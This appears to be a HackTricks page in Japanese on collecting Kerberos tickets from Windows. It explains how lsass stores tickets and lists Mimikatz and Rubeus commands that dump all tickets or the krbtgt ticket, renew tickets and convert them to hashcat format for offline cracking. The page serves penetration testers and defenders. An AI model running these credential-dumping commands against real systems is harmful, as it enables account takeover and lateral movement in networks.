Windowsからのチケットの収集

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Windowsのチケットは、セキュリティポリシーを処理する責任を持つlsass（ローカルセキュリティ認証サブシステムサービス）プロセスによって管理および保存されます。これらのチケットを抽出するには、lsassプロセスとインターフェースする必要があります。非管理者ユーザーは自分のチケットにのみアクセスでき、管理者はシステム上のすべてのチケットを抽出する特権を持っています。そのような操作には、MimikatzとRubeusというツールが広く使用されており、それぞれ異なるコマンドと機能を提供しています。

Mimikatz

Mimikatzは、Windowsのセキュリティと対話できる多目的ツールです。チケットの抽出だけでなく、さまざまな他のセキュリティ関連の操作にも使用されます。

bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeusは、Kerberosのインタラクションと操作のために特別に設計されたツールです。チケットの抽出や処理、その他のKerberos関連の活動に使用されます。

bash
# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

これらのコマンドを使用する際は、<BASE64_TICKET>や<luid>のようなプレースホルダーを実際のBase64エンコードされたチケットとログオンIDにそれぞれ置き換えることを確認してください。これらのツールは、チケットの管理やWindowsのセキュリティメカニズムとの対話に関して広範な機能を提供します。

参考文献

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする